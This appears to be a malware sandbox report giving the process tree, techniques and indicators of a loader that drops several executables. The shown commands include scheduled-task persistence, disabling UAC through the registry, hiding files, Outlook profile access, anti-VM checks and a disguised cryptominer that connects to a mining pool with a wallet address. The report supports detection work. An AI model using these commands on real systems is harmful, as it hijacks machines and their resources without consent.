PID 4344 wrote to memory of 3780	4344	4363463463464363463463463.bin.exe	native.exe
PID 4344 wrote to memory of 3780	4344	4363463463464363463463463.bin.exe	native.exe
PID 4344 wrote to memory of 3780	4344	4363463463464363463463463.bin.exe	native.exe
PID 3720 wrote to memory of 2104	3720	dvchost.exe	cmd.exe
PID 3720 wrote to memory of 2104	3720	dvchost.exe	cmd.exe
PID 2104 wrote to memory of 3200	2104	cmd.exe	mode.com
PID 2104 wrote to memory of 3200	2104	cmd.exe	mode.com
PID 2104 wrote to memory of 1304	2104	cmd.exe	7z.exe
PID 2104 wrote to memory of 1304	2104	cmd.exe	7z.exe
PID 2104 wrote to memory of 2584	2104	cmd.exe	7z.exe
PID 2104 wrote to memory of 2584	2104	cmd.exe	7z.exe
PID 2104 wrote to memory of 4316	2104	cmd.exe	7z.exe
PID 2104 wrote to memory of 4316	2104	cmd.exe	7z.exe
PID 2104 wrote to memory of 4080	2104	cmd.exe	7z.exe
PID 2104 wrote to memory of 4080	2104	cmd.exe	7z.exe
PID 2104 wrote to memory of 2008	2104	cmd.exe	chcp.com
PID 2104 wrote to memory of 2008	2104	cmd.exe	chcp.com
PID 2104 wrote to memory of 2020	2104	cmd.exe	winhostDhcp.exe
PID 2104 wrote to memory of 2020	2104	cmd.exe	winhostDhcp.exe
PID 2868 wrote to memory of 1644	2868	.exe	vbc.exe
PID 2868 wrote to memory of 1644	2868	.exe	vbc.exe
PID 2868 wrote to memory of 1644	2868	.exe	vbc.exe
PID 2868 wrote to memory of 1644	2868	.exe	vbc.exe
PID 2868 wrote to memory of 1644	2868	.exe	vbc.exe
PID 2868 wrote to memory of 1644	2868	.exe	vbc.exe
PID 2868 wrote to memory of 1644	2868	.exe	vbc.exe
PID 2020 wrote to memory of 5048	2020	winhostDhcp.exe	cmd.exe
PID 2020 wrote to memory of 5048	2020	winhostDhcp.exe	cmd.exe
PID 5048 wrote to memory of 2008	5048	cmd.exe	chcp.com
PID 5048 wrote to memory of 2008	5048	cmd.exe	chcp.com
PID 4344 wrote to memory of 3280	4344	4363463463464363463463463.bin.exe	_wT.exe
PID 4344 wrote to memory of 3280	4344	4363463463464363463463463.bin.exe	_wT.exe
PID 4344 wrote to memory of 2888	4344	4363463463464363463463463.bin.exe	NSudo.exe
PID 4344 wrote to memory of 2888	4344	4363463463464363463463463.bin.exe	NSudo.exe
PID 4344 wrote to memory of 4044	4344	4363463463464363463463463.bin.exe	32.exe
PID 4344 wrote to memory of 4044	4344	4363463463464363463463463.bin.exe	32.exe
PID 4344 wrote to memory of 4044	4344	4363463463464363463463463.bin.exe	32.exe
PID 5048 wrote to memory of 756	5048	cmd.exe	w32tm.exe
PID 5048 wrote to memory of 756	5048	cmd.exe	w32tm.exe
PID 5048 wrote to memory of 1756	5048	cmd.exe	conhost.exe
PID 5048 wrote to memory of 1756	5048	cmd.exe	conhost.exe
PID 3780 wrote to memory of 1844	3780	native.exe	BBLb.exe
PID 3780 wrote to memory of 1844	3780	native.exe	BBLb.exe
PID 3780 wrote to memory of 1844	3780	native.exe	BBLb.exe

System policy modification 1 TTPs 1 IoCs
evasion

Modify Registry
T1112

Processes:

miner.exe

description ioc process

Set value (int) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA = "0" miner.exe
Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
persistence

Query Registry
T1012
Views/modifies file attributes 1 TTPs 1 IoCs
evasion

Hidden Files and Directories
T1564.001

Processes:

attrib.exe

pid process

2008 attrib.exe

description	ioc	process
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA = "0"	miner.exe

pid	process
2008	attrib.exe

outlook_office_path 1 IoCs

Processes:

bugai.exe

description	ioc	process
Key opened	\REGISTRY\USER\S-1-5-21-3791175113-1062217823-1177695025-1000\Software\Microsoft\Office\16.0\Outlook\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676	bugai.exe

outlook_win_path 1 IoCs

Processes:

bugai.exe

description	ioc	process
Key opened	\REGISTRY\USER\S-1-5-21-3791175113-1062217823-1177695025-1000\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676	bugai.exe

C:\Users\Admin\AppData\Local\Temp\4363463463464363463463463.bin.exe
"C:\Users\Admin\AppData\Local\Temp\4363463463464363463463463.bin.exe"
1⤵
- Checks computer location settings
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:4344

C:\Users\Admin\AppData\Local\Temp\Files\rty47.exe
"C:\Users\Admin\AppData\Local\Temp\Files\rty47.exe"
2⤵
- Executes dropped EXE
PID:2876

C:\Users\Admin\AppData\Local\Temp\Files\bugai.exe
"C:\Users\Admin\AppData\Local\Temp\Files\bugai.exe"
2⤵
- Checks computer location settings
- Executes dropped EXE
- Accesses Microsoft Outlook profiles
- Adds Run key to start application
- Drops file in System32 directory
- Suspicious use of NtSetInformationThreadHideFromDebugger
- Checks processor information in registry
- Suspicious behavior: EnumeratesProcesses
- outlook_office_path
- outlook_win_path
PID:2096

C:\Windows\SysWOW64\schtasks.exe
schtasks /create /f /RU "Admin" /tr "C:\ProgramData\MPGPH131\MPGPH131.exe" /tn "MPGPH131 HR" /sc HOURLY /rl HIGHEST
3⤵
- Creates scheduled task(s)
PID:436

C:\Windows\SysWOW64\schtasks.exe
schtasks /create /f /RU "Admin" /tr "C:\ProgramData\MPGPH131\MPGPH131.exe" /tn "MPGPH131 LG" /sc ONLOGON /rl HIGHEST
3⤵
- Creates scheduled task(s)
PID:4416

C:\Users\Admin\AppData\Local\Temp\heidi1lYaOz_hhmA8\8Grb8KDhLIvSHwFX11Lr.exe
"C:\Users\Admin\AppData\Local\Temp\heidi1lYaOz_hhmA8\8Grb8KDhLIvSHwFX11Lr.exe"
3⤵
- Checks computer location settings
- Executes dropped EXE
- Suspicious use of FindShellTrayWindow
- Suspicious use of SendNotifyMessage
PID:3856

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --single-argument https://www.youtube.com/
4⤵
PID:3956

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" /prefetch:7 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Crashpad" "--metrics-dir=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" --annotation=IsOfficialBuild=1 --annotation=channel= --annotation=chromium-version=92.0.4515.131 "--annotation=exe=C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --annotation=plat=Win64 "--annotation=prod=Microsoft Edge" --annotation=ver=92.0.902.67 --initial-client-data=0x120,0x124,0x128,0xfc,0x12c,0x7ffed63846f8,0x7ffed6384708,0x7ffed6384718
5⤵
PID:2184

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --field-trial-handle=2124,5597203421561906269,6992843833515507126,131072 --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2192 /prefetch:3
5⤵
PID:6104

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=gpu-process --field-trial-handle=2124,5597203421561906269,6992843833515507126,131072 --gpu-preferences=UAAAAAAAAADgAAAQAAAAAAAAAAAAAAAAAABgAAAAAAAwAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAHgAAAAAAAAAeAAAAAAAAAAoAAAABAAAACAAAAAAAAAAKAAAAAAAAAAwAAAAAAAAADgAAAAAAAAAEAAAAAAAAAAAAAAADQAAABAAAAAAAAAAAQAAAA0AAAAQAAAAAAAAAAQAAAANAAAAEAAAAAAAAAAHAAAADQAAAAgAAAAAAAAACAAAAAAAAAA= --mojo-platform-channel-handle=2100 /prefetch:2
5⤵
PID:6096

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --single-argument https://www.linkedin.com/login
4⤵
PID:4304

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" /prefetch:7 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Crashpad" "--metrics-dir=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" --annotation=IsOfficialBuild=1 --annotation=channel= --annotation=chromium-version=92.0.4515.131 "--annotation=exe=C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --annotation=plat=Win64 "--annotation=prod=Microsoft Edge" --annotation=ver=92.0.902.67 --initial-client-data=0xfc,0x100,0x104,0xd8,0x108,0x7ffed63846f8,0x7ffed6384708,0x7ffed6384718
5⤵
- Checks processor information in registry
- Enumerates system info in registry
PID:3540

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --field-trial-handle=2028,16576133022588054333,6748342368802147436,131072 --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2096 /prefetch:3
5⤵
PID:6060

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=gpu-process --field-trial-handle=2028,16576133022588054333,6748342368802147436,131072 --gpu-preferences=UAAAAAAAAADgAAAQAAAAAAAAAAAAAAAAAABgAAAAAAAwAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAHgAAAAAAAAAeAAAAAAAAAAoAAAABAAAACAAAAAAAAAAKAAAAAAAAAAwAAAAAAAAADgAAAAAAAAAEAAAAAAAAAAAAAAADQAAABAAAAAAAAAAAQAAAA0AAAAQAAAAAAAAAAQAAAANAAAAEAAAAAAAAAAHAAAADQAAAAgAAAAAAAAACAAAAAAAAAA= --mojo-platform-channel-handle=2040 /prefetch:2
5⤵
PID:6044

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --single-argument https://www.facebook.com/video
4⤵
- Enumerates system info in registry
- Suspicious behavior: NtCreateUserProcessBlockNonMicrosoftBinary
- Suspicious use of FindShellTrayWindow
- Suspicious use of SendNotifyMessage
PID:1552

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" /prefetch:7 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Crashpad" "--metrics-dir=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" --annotation=IsOfficialBuild=1 --annotation=channel= --annotation=chromium-version=92.0.4515.131 "--annotation=exe=C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --annotation=plat=Win64 "--annotation=prod=Microsoft Edge" --annotation=ver=92.0.902.67 --initial-client-data=0xfc,0x100,0x104,0xd8,0x108,0x7ffed63846f8,0x7ffed6384708,0x7ffed6384718
5⤵
- Checks processor information in registry
- Enumerates system info in registry
PID:4860

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --field-trial-handle=2156,1570712799063802657,10623681284306276479,131072 --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2232 /prefetch:3
5⤵
PID:5748

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=storage.mojom.StorageService --field-trial-handle=2156,1570712799063802657,10623681284306276479,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=2864 /prefetch:8
5⤵
PID:5944

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2156,1570712799063802657,10623681284306276479,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=5 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=3300 /prefetch:1
5⤵
PID:5932

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2156,1570712799063802657,10623681284306276479,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=6 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=3280 /prefetch:1
5⤵
PID:5704

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=gpu-process --field-trial-handle=2156,1570712799063802657,10623681284306276479,131072 --gpu-preferences=UAAAAAAAAADgAAAQAAAAAAAAAAAAAAAAAABgAAAAAAAwAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAHgAAAAAAAAAeAAAAAAAAAAoAAAABAAAACAAAAAAAAAAKAAAAAAAAAAwAAAAAAAAADgAAAAAAAAAEAAAAAAAAAAAAAAADQAAABAAAAAAAAAAAQAAAA0AAAAQAAAAAAAAAAQAAAANAAAAEAAAAAAAAAAHAAAADQAAAAgAAAAAAAAACAAAAAAAAAA= --mojo-platform-channel-handle=2172 /prefetch:2
5⤵
PID:5740

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --single-argument https://accounts.google.com/
4⤵
PID:4380

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" /prefetch:7 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Crashpad" "--metrics-dir=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" --annotation=IsOfficialBuild=1 --annotation=channel= --annotation=chromium-version=92.0.4515.131 "--annotation=exe=C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --annotation=plat=Win64 "--annotation=prod=Microsoft Edge" --annotation=ver=92.0.902.67 --initial-client-data=0xfc,0x100,0x104,0xd8,0x108,0x7ffed63846f8,0x7ffed6384708,0x7ffed6384718
5⤵
- Checks processor information in registry
- Enumerates system info in registry
PID:2684

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --field-trial-handle=1436,17294382015584421993,1794699919527336225,131072 --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2040 /prefetch:3
5⤵
PID:6808

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" https://www.facebook.com/video
4⤵
PID:3668

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" /prefetch:7 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Crashpad" "--metrics-dir=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" --annotation=IsOfficialBuild=1 --annotation=channel= --annotation=chromium-version=92.0.4515.131 "--annotation=exe=C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --annotation=plat=Win64 "--annotation=prod=Microsoft Edge" --annotation=ver=92.0.902.67 --initial-client-data=0xf8,0xfc,0x100,0xd4,0x104,0x7ffed63846f8,0x7ffed6384708,0x7ffed6384718
5⤵
PID:1320

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" https://www.youtube.com
4⤵
PID:4164

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" /prefetch:7 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Crashpad" "--metrics-dir=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" --annotation=IsOfficialBuild=1 --annotation=channel= --annotation=chromium-version=92.0.4515.131 "--annotation=exe=C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --annotation=plat=Win64 "--annotation=prod=Microsoft Edge" --annotation=ver=92.0.902.67 --initial-client-data=0xfc,0x100,0x104,0xd8,0x108,0x7ffed63846f8,0x7ffed6384708,0x7ffed6384718
5⤵
- Checks processor information in registry
- Enumerates system info in registry
PID:4384

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --field-trial-handle=2164,6535321715299811068,16110170856613559928,131072 --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2220 /prefetch:3
5⤵
PID:6968

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=gpu-process --field-trial-handle=2164,6535321715299811068,16110170856613559928,131072 --gpu-preferences=UAAAAAAAAADgAAAQAAAAAAAAAAAAAAAAAABgAAAAAAAwAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAHgAAAAAAAAAeAAAAAAAAAAoAAAABAAAACAAAAAAAAAAKAAAAAAAAAAwAAAAAAAAADgAAAAAAAAAEAAAAAAAAAAAAAAADQAAABAAAAAAAAAAAQAAAA0AAAAQAAAAAAAAAAQAAAANAAAAEAAAAAAAAAAHAAAADQAAAAgAAAAAAAAACAAAAAAAAAA= --mojo-platform-channel-handle=2168 /prefetch:2
5⤵
PID:6680

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=gpu-process --field-trial-handle=2164,6535321715299811068,16110170856613559928,131072 --gpu-preferences=UAAAAAAAAADgAAAQAAAAAAAAAAAAAAAAAABgAAAAAAAwAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAHgAAAAAAAAAeAAAAAAAAAAoAAAABAAAACAAAAAAAAAAKAAAAAAAAAAwAAAAAAAAADgAAAAAAAAAEAAAAAAAAAAAAAAADQAAABAAAAAAAAAAAQAAAA0AAAAQAAAAAAAAAAQAAAANAAAAEAAAAAAAAAAHAAAADQAAAAgAAAAAAAAACAAAAAAAAAA= --mojo-platform-channel-handle=2476 /prefetch:2
5⤵
PID:6704

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" https://accounts.google.com
4⤵
PID:3968

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" /prefetch:7 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Crashpad" "--metrics-dir=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" --annotation=IsOfficialBuild=1 --annotation=channel= --annotation=chromium-version=92.0.4515.131 "--annotation=exe=C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --annotation=plat=Win64 "--annotation=prod=Microsoft Edge" --annotation=ver=92.0.902.67 --initial-client-data=0xf8,0xfc,0x100,0xd4,0x104,0x7ffed63846f8,0x7ffed6384708,0x7ffed6384718
5⤵
PID:4432

C:\Program Files\Google\Chrome\Application\chrome.exe
"C:\Program Files\Google\Chrome\Application\chrome.exe" https://www.youtube.com
4⤵
- Enumerates system info in registry
PID:4080

C:\Program Files\Google\Chrome\Application\chrome.exe
"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Google\Chrome\User Data" /prefetch:7 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Crashpad" "--metrics-dir=C:\Users\Admin\AppData\Local\Google\Chrome\User Data" --url=https://clients2.google.com/cr/report --annotation=channel= --annotation=plat=Win64 --annotation=prod=Chrome --annotation=ver=106.0.5249.119 --initial-client-data=0x120,0x124,0x128,0xfc,0x12c,0x7ffed6229758,0x7ffed6229768,0x7ffed6229778
5⤵
PID:3428

C:\Program Files\Google\Chrome\Application\chrome.exe
"C:\Program Files\Google\Chrome\Application\chrome.exe" https://www.facebook.com/video
4⤵
- Enumerates system info in registry
PID:3908

C:\Program Files\Google\Chrome\Application\chrome.exe
"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Google\Chrome\User Data" /prefetch:7 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Crashpad" "--metrics-dir=C:\Users\Admin\AppData\Local\Google\Chrome\User Data" --url=https://clients2.google.com/cr/report --annotation=channel= --annotation=plat=Win64 --annotation=prod=Chrome --annotation=ver=106.0.5249.119 --initial-client-data=0xf8,0xfc,0x100,0xd4,0x104,0x7ffed6229758,0x7ffed6229768,0x7ffed6229778
5⤵
PID:3616

C:\Program Files\Google\Chrome\Application\chrome.exe
"C:\Program Files\Google\Chrome\Application\chrome.exe" https://accounts.google.com
4⤵
- Enumerates system info in registry
PID:1856

C:\Program Files\Google\Chrome\Application\chrome.exe
"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Google\Chrome\User Data" /prefetch:7 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Crashpad" "--metrics-dir=C:\Users\Admin\AppData\Local\Google\Chrome\User Data" --url=https://clients2.google.com/cr/report --annotation=channel= --annotation=plat=Win64 --annotation=prod=Chrome --annotation=ver=106.0.5249.119 --initial-client-data=0x108,0x10c,0x110,0xe4,0x114,0x7ffed6229758,0x7ffed6229768,0x7ffed6229778
5⤵
PID:3620

C:\Program Files\Mozilla Firefox\firefox.exe
"C:\Program Files\Mozilla Firefox\firefox.exe" https://www.youtube.com
4⤵
PID:5184

C:\Program Files\Mozilla Firefox\firefox.exe
"C:\Program Files\Mozilla Firefox\firefox.exe" https://www.youtube.com
5⤵
- Checks processor information in registry
PID:5320

C:\Program Files\Mozilla Firefox\firefox.exe
"C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel="5320.0.1755213877\1603258636" -parentBuildID 20221007134813 -prefsHandle 1868 -prefMapHandle 1852 -prefsLen 20749 -prefMapSize 233444 -appDir "C:\Program Files\Mozilla Firefox\browser" - {62500a25-2739-4050-befa-eb8002bb9790} 5320 "\\.\pipe\gecko-crash-server-pipe.5320" 1960 26cb06d2458 gpu
6⤵
PID:6708

C:\Program Files\Mozilla Firefox\firefox.exe
"C:\Program Files\Mozilla Firefox\firefox.exe" https://www.facebook.com/video
4⤵
PID:5368

C:\Program Files\Mozilla Firefox\firefox.exe
"C:\Program Files\Mozilla Firefox\firefox.exe" https://www.facebook.com/video
5⤵
PID:5624

C:\Program Files\Mozilla Firefox\firefox.exe
"C:\Program Files\Mozilla Firefox\firefox.exe" https://accounts.google.com
4⤵
PID:2120

C:\Program Files\Mozilla Firefox\firefox.exe
"C:\Program Files\Mozilla Firefox\firefox.exe" https://accounts.google.com
5⤵
PID:6208

C:\Users\Admin\AppData\Local\Temp\heidi1lYaOz_hhmA8\CuxOU1F9RSuscwzIIgFo.exe
"C:\Users\Admin\AppData\Local\Temp\heidi1lYaOz_hhmA8\CuxOU1F9RSuscwzIIgFo.exe"
3⤵
- Identifies VirtualBox via ACPI registry values (likely anti-VM)
- Checks BIOS information in registry
- Executes dropped EXE
- Identifies Wine through registry keys
- Suspicious use of NtSetInformationThreadHideFromDebugger
PID:932

C:\Users\Admin\AppData\Local\Temp\Files\ma.exe
"C:\Users\Admin\AppData\Local\Temp\Files\ma.exe"
2⤵
- Executes dropped EXE
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:1324

C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\tmpBD83.tmp.bat""
3⤵
- Suspicious use of WriteProcessMemory
PID:3700

C:\Windows\system32\timeout.exe
timeout 3
4⤵
- Delays execution with timeout.exe
PID:852

C:\ProgramData\SystemPropertiesDataExecutionPrevention\.exe
"C:\ProgramData\SystemPropertiesDataExecutionPrevention\.exe"
4⤵
- Checks computer location settings
- Executes dropped EXE
- Suspicious use of SetThreadContext
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:2868

C:\Windows\System32\cmd.exe
"C:\Windows\System32\cmd.exe" /c schtasks /create /f /sc MINUTE /mo 3 /RL HIGHEST /tn "ERGVRDVMSK" /tr "C:\ProgramData\SystemPropertiesDataExecutionPrevention\.exe"
5⤵
- Suspicious use of WriteProcessMemory
PID:4644

C:\Windows\system32\schtasks.exe
schtasks /create /f /sc MINUTE /mo 3 /RL HIGHEST /tn "ERGVRDVMSK" /tr "C:\ProgramData\SystemPropertiesDataExecutionPrevention\.exe"
6⤵
- Creates scheduled task(s)
PID:3520

C:\Windows\Microsoft.NET\Framework64\v4.0.30319\vbc.exe
C:\Windows\Microsoft.NET\Framework64\v4.0.30319\vbc.exe -o fr-zephyr.miningocean.org:5342 -u ZEPHYR2dNRNd7BpuKZoXnqZu7WiTzoMXE8EhzsTJDnXV9ZDksih16M2EazfmCb3ax9Z78hH9iJMxSQE1NBkPCK6W3M8SBGcc7ZC2z -p work -a rx/0 --donate-level 1 --opencl
5⤵
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of FindShellTrayWindow
PID:1644

C:\Users\Admin\AppData\Local\Temp\Files\dvchost.exe
"C:\Users\Admin\AppData\Local\Temp\Files\dvchost.exe"
2⤵
- Checks computer location settings
- Executes dropped EXE
- Suspicious use of WriteProcessMemory
PID:3720

C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\main\main.bat" /S"
3⤵
- Suspicious use of WriteProcessMemory
PID:2104

C:\Users\Admin\AppData\Local\Temp\main\7z.exe
7z.exe e extracted/file_3.zip -oextracted
4⤵
- Executes dropped EXE
- Loads dropped DLL
- Suspicious use of AdjustPrivilegeToken
PID:2584

C:\Users\Admin\AppData\Local\Temp\main\7z.exe
7z.exe e extracted/file_2.zip -oextracted
4⤵
- Executes dropped EXE
- Loads dropped DLL
- Suspicious use of AdjustPrivilegeToken
PID:4316

C:\Users\Admin\AppData\Local\Temp\main\7z.exe
7z.exe e extracted/file_1.zip -oextracted
4⤵
- Executes dropped EXE
- Loads dropped DLL
- Suspicious use of AdjustPrivilegeToken
PID:4080

C:\Windows\system32\attrib.exe
attrib +H "winhostDhcp.exe"
4⤵
- Views/modifies file attributes
PID:2008

C:\Users\Admin\AppData\Local\Temp\main\winhostDhcp.exe
"winhostDhcp.exe"
4⤵
- Checks computer location settings
- Executes dropped EXE
- Drops file in Program Files directory
- Drops file in Windows directory
- Modifies registry class
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:2020

C:\Windows\System32\cmd.exe
"C:\Windows\System32\cmd.exe" /C "C:\Users\Admin\AppData\Local\Temp\dzhJcmA8P8.bat"
5⤵
- Suspicious use of WriteProcessMemory
PID:5048

C:\Windows\system32\chcp.com
chcp 65001
6⤵
PID:2008

C:\Windows\system32\w32tm.exe
w32tm /stripchart /computer:localhost /period:5 /dataonly /samples:2
6⤵
PID:756

C:\odt\conhost.exe
"C:\odt\conhost.exe"
6⤵
- Executes dropped EXE
- Suspicious behavior: GetForegroundWindowSpam
- Suspicious use of AdjustPrivilegeToken
PID:1756

C:\Users\Admin\AppData\Local\Temp\Files\native.exe
"C:\Users\Admin\AppData\Local\Temp\Files\native.exe"
2⤵
- Checks computer location settings
- Executes dropped EXE
- Suspicious use of SetThreadContext
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:3780

C:\Users\Admin\AppData\Local\Temp\BBLb.exe
"C:\Users\Admin\AppData\Local\Temp\BBLb.exe"
3⤵
- Executes dropped EXE
- Suspicious use of SetThreadContext
- Suspicious use of AdjustPrivilegeToken
PID:1844

C:\Users\Admin\AppData\Local\Temp\BBLb.exe
C:\Users\Admin\AppData\Local\Temp\BBLb.exe
4⤵
